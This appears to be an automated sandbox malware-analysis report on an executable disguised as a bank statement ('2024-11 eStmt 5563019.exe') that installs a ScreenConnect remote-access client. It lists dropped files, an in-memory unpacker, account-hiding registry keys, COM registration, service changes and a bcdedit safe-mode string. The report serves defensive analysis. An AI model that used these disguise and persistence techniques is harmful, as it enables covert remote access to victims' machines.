Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Section loaded: version.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Section loaded: wtsapi32.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Section loaded: winsta.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Section loaded: netapi32.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Section loaded: wkscli.dll Jump to behavior
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32 Jump to behavior
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: 2024-11 eStmt 5563019.exe Static PE information: certificate valid
Source: 2024-11 eStmt 5563019.exe Static file information: File size 5474600 > 1048576
Source: 2024-11 eStmt 5563019.exe Static PE information: Raw size of .rsrc is bigger than: 0x100000 < 0x508600
Source: 2024-11 eStmt 5563019.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: 2024-11 eStmt 5563019.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: 2024-11 eStmt 5563019.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: 2024-11 eStmt 5563019.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: 2024-11 eStmt 5563019.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: 2024-11 eStmt 5563019.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT
Source: 2024-11 eStmt 5563019.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Source: 2024-11 eStmt 5563019.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Binary string: C:\builds\cc\cwcontrol\Product\WindowsFileManager\obj\Release\ScreenConnect.WindowsFileManager.pdb source: ScreenConnect.WindowsFileManager.exe.2.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\ClientService\obj\Release\ScreenConnect.ClientService.pdb source: ScreenConnect.WindowsClient.exe, 00000008.00000002.2969214232.00000000031C1000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000009.00000002.1808027783.0000000000C00000.00000004.08000000.00040000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000009.00000002.1808808896.0000000002581000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000009.00000002.1808367972.0000000000C72000.00000002.00000001.01000000.0000000C.sdmp, ScreenConnect.ClientService.dll.2.dr
Source: Binary string: C:\Users\jmorgan\Source\cwcontrol\Custom\DotNetRunner\DotNetResolver\obj\Debug\DotNetResolver.pdb source: 2024-11 eStmt 5563019.exe
Source: Binary string: C:\Users\jmorgan\Source\cwcontrol\Custom\DotNetRunner\Release\DotNetServiceRunner.pdb source: ScreenConnect.ClientService.exe, 00000007.00000000.1744657723.00000000002AD000.00000002.00000001.01000000.0000000B.sdmp, ScreenConnect.ClientService.exe.2.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\ClientInstallerRunner\obj\Release\ScreenConnect.ClientInstallerRunner.pdb source: 2024-11 eStmt 5563019.exe
Source: Binary string: C:\builds\cc\cwcontrol\Product\Windows\obj\Release\net20\ScreenConnect.Windows.pdb source: 2024-11 eStmt 5563019.exe, ScreenConnect.Windows.dll.2.dr, ScreenConnect.Windows.dll.4.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\WindowsInstaller\obj\Release\net20\ScreenConnect.WindowsInstaller.pdb source: 2024-11 eStmt 5563019.exe
Source: Binary string: C:\build\work\eca3d12b\wix3\build\obj\ship\x86\WindowsInstaller\Microsoft.Deployment.WindowsInstaller.pdb source: Microsoft.Deployment.WindowsInstaller.dll.4.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\InstallerActions\obj\Release\ScreenConnect.InstallerActions.pdbol source: ScreenConnect.InstallerActions.dll.4.dr
Source: Binary string: C:\build\work\eca3d12b\wix3\build\obj\ship\x86\WindowsInstaller\Microsoft.Deployment.WindowsInstaller.pdbT source: Microsoft.Deployment.WindowsInstaller.dll.4.dr
Source: Binary string: C:\build\work\eca3d12b\wix3\build\ship\x86\wixca.pdb source: 2024-11 eStmt 5563019.exe, MSI5684.tmp.2.dr, 6153c7.msi.2.dr, 6153c6.rbs.2.dr, MSI586B.tmp.2.dr, MSI56A4.tmp.2.dr, 6153c5.msi.2.dr, setup.msi.0.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\WindowsBackstageShell\obj\Release\ScreenConnect.WindowsBackstageShell.pdb source: ScreenConnect.WindowsBackstageShell.exe.2.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\WindowsClient\obj\Release\ScreenConnect.WindowsClient.pdb source: ScreenConnect.WindowsClient.exe, 00000008.00000000.1761037856.0000000000EB2000.00000002.00000001.01000000.00000010.sdmp, ScreenConnect.WindowsClient.exe.2.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\InstallerActions\obj\Release\ScreenConnect.InstallerActions.pdb source: ScreenConnect.InstallerActions.dll.4.dr
Source: Binary string: E:\delivery\Dev\wix37_public\build\ship\x86\SfxCA.pdb source: 2024-11 eStmt 5563019.exe, MSI4E28.tmp.1.dr, 6153c7.msi.2.dr, 6153c5.msi.2.dr, setup.msi.0.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\WindowsBackstageShell\obj\Release\ScreenConnect.WindowsBackstageShell.pdb source: ScreenConnect.WindowsBackstageShell.exe.2.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\Client\obj\Release\net20\ScreenConnect.Client.pdb source: ScreenConnect.WindowsClient.exe, 00000009.00000002.1808118214.0000000000C32000.00000002.00000001.01000000.0000000F.sdmp, ScreenConnect.Client.dll.2.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\Client\obj\Release\net20\ScreenConnect.Client.pdb] source: ScreenConnect.WindowsClient.exe, 00000009.00000002.1808118214.0000000000C32000.00000002.00000001.01000000.0000000F.sdmp, ScreenConnect.Client.dll.2.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\Core\obj\Release\net20\ScreenConnect.Core.pdbY/ source: 2024-11 eStmt 5563019.exe, ScreenConnect.Core.dll.4.dr, ScreenConnect.Core.dll.2.dr
Source: Binary string: C:\Users\jmorgan\Source\cwcontrol\Custom\DotNetRunner\Release\DotNetRunner.pdb source: 2024-11 eStmt 5563019.exe
Source: Binary string: C:\builds\cc\cwcontrol\Product\Core\obj\Release\net20\ScreenConnect.Core.pdb source: 2024-11 eStmt 5563019.exe, ScreenConnect.Core.dll.4.dr, ScreenConnect.Core.dll.2.dr
Source: 2024-11 eStmt 5563019.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: 2024-11 eStmt 5563019.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: 2024-11 eStmt 5563019.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: 2024-11 eStmt 5563019.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: 2024-11 eStmt 5563019.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation
barindex
.NET source code contains potential unpacker
Source: 0.0.2024-11 eStmt 5563019.exe.acccf8.2.raw.unpack, Program.cs .Net Code: Main System.Reflection.Assembly.Load(byte[])
Source: 0.2.2024-11 eStmt 5563019.exe.16b0000.0.raw.unpack, Program.cs .Net Code: Main System.Reflection.Assembly.Load(byte[])
Binary contains a suspicious time stamp
Source: ScreenConnect.Client.dll.2.dr Static PE information: 0xA542AE52 [Sat Nov 10 09:37:22 2057 UTC]
PE file contains an invalid checksum
Source: MSI4E28.tmp.1.dr Static PE information: real checksum: 0x2f213 should be: 0x10d04e
Source: 2024-11 eStmt 5563019.exe Static PE information: real checksum: 0x51e17b should be: 0x542799
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Code function: 0_2_05683870 push esp; iretd 0_2_05683871
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Code function: 7_2_044FE5B2 push eax; ret 7_2_044FE5D1
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Code function: 7_2_05E7C4C1 push esp; ret 7_2_05E7C4D3
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Code function: 7_2_05E7C460 pushad ; ret 7_2_05E7C473
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Code function: 7_2_061102C8 push eax; retf 7_2_061102C9
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Code function: 7_2_06110360 pushfd ; retf 7_2_06110361
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Code function: 8_2_00007FFD9B3483D3 pushad ; ret 8_2_00007FFD9B34845D
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Code function: 8_2_00007FFD9B34845E push eax; ret 8_2_00007FFD9B34846D
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Code function: 8_2_00007FFD9B640B80 push eax; ret 8_2_00007FFD9B640B99
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Code function: 8_2_00007FFD9B640B70 push eax; ret 8_2_00007FFD9B640B99
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Code function: 8_2_00007FFD9B640B28 push eax; ret 8_2_00007FFD9B640B99
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Code function: 8_2_00007FFD9B640B18 push eax; ret 8_2_00007FFD9B640B99
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Code function: 8_2_00007FFD9B640B08 push eax; ret 8_2_00007FFD9B640B99
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Code function: 8_2_00007FFD9B640AF8 push eax; ret 8_2_00007FFD9B640B99
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Code function: 9_2_00007FFD9B3383D3 pushad ; ret 9_2_00007FFD9B33845D
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Code function: 9_2_00007FFD9B33845E push eax; ret 9_2_00007FFD9B33846D

Persistence and Installation Behavior
barindex
Creates files in the system32 config directory
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ScreenConnect.WindowsClient.exe.log Jump to behavior
Possible COM Object hijacking
Source: c:\program files (x86)\screenconnect client (d519fd2fdcfe66e7)\screenconnect.windowscredentialprovider.dll COM Object registered for dropped file: hkey_local_machine\software\classes\clsid\{6ff59a85-bc37-4cd4-4dc3-7acebcd60fe9}\inprocserver32
Drops PE files
Source: C:\Windows\SysWOW64\msiexec.exe File created: C:\Users\user\AppData\Local\Temp\MSI4E28.tmp Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe File created: C:\Users\user\AppData\Local\Temp\MSI4E28.tmp-\Microsoft.Deployment.WindowsInstaller.dll Jump to dropped file
Source: C:\Windows\System32\msiexec.exe File created: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.dll Jump to dropped file
Source: C:\Windows\System32\msiexec.exe File created: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsBackstageShell.exe Jump to dropped file
Source: C:\Windows\System32\msiexec.exe File created: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsFileManager.exe Jump to dropped file
Source: C:\Windows\System32\msiexec.exe File created: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsCredentialProvider.dll Jump to dropped file
Source: C:\Windows\System32\msiexec.exe File created: C:\Windows\Installer\MSI56A4.tmp Jump to dropped file
Source: C:\Windows\System32\msiexec.exe File created: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Jump to dropped file
Source: C:\Windows\System32\msiexec.exe File created: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.Windows.dll Jump to dropped file
Source: C:\Windows\System32\msiexec.exe File created: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe File created: C:\Users\user\AppData\Local\Temp\MSI4E28.tmp-\ScreenConnect.InstallerActions.dll Jump to dropped file
Source: C:\Windows\System32\msiexec.exe File created: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.Client.dll Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe File created: C:\Users\user\AppData\Local\Temp\MSI4E28.tmp-\ScreenConnect.Core.dll Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe File created: C:\Users\user\AppData\Local\Temp\MSI4E28.tmp-\ScreenConnect.Windows.dll Jump to dropped file
Source: C:\Windows\System32\msiexec.exe File created: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.Core.dll Jump to dropped file
Source: C:\Windows\System32\msiexec.exe File created: C:\Windows\Installer\MSI586B.tmp Jump to dropped file
Drops PE files to the windows directory (C:\Windows)
Source: C:\Windows\System32\msiexec.exe File created: C:\Windows\Installer\MSI56A4.tmp Jump to dropped file
Source: C:\Windows\System32\msiexec.exe File created: C:\Windows\Installer\MSI586B.tmp Jump to dropped file
May use bcdedit to modify the Windows boot settings
Source: ScreenConnect.ClientService.dll.2.dr Binary or memory string: bcdedit.exeg/copy {current} /d "Reboot and Reconnect Safe Mode"7{.{8}-.{4}-.{4}-.{4}-.{12}}
Creates or modifies windows services
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Registry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Application Jump to behavior
Modifies existing windows services
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Registry key value modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (d519fd2fdcfe66e7) Jump to behavior

Hooking and other Techniques for Hiding and Protection
barindex
Contains functionality to hide user accounts
Source: 2024-11 eStmt 5563019.exe, 00000000.00000000.1703130673.00000000005C6000.00000002.00000001.01000000.00000003.sdmp String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: rundll32.exe, 00000004.00000003.1720285276.0000000004713000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: ScreenConnect.WindowsClient.exe, 00000008.00000002.2969214232.00000000031C1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList?ScreenConnect.WindowsClient.exe
Source: ScreenConnect.WindowsClient.exe, 00000009.00000002.1808027783.0000000000C00000.00000004.08000000.00040000.00000000.sdmp String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList?ScreenConnect.WindowsClient.exe
Source: ScreenConnect.WindowsClient.exe, 00000009.00000002.1808808896.0000000002581000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList?ScreenConnect.WindowsClient.exe
Source: ScreenConnect.WindowsClient.exe, 00000009.00000002.1808367972.0000000000C72000.00000002.00000001.01000000.0000000C.sdmp String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList?ScreenConnect.WindowsClient.exe
Source: ScreenConnect.WindowsClient.exe, 00000009.00000002.1818019748.000000001B442000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: 2024-11 eStmt 5563019.exe String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: ScreenConnect.ClientService.dll.2.dr String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList?ScreenConnect.WindowsClient.exe
Source: ScreenConnect.Windows.dll.2.dr String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: ScreenConnect.Windows.dll.4.dr String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
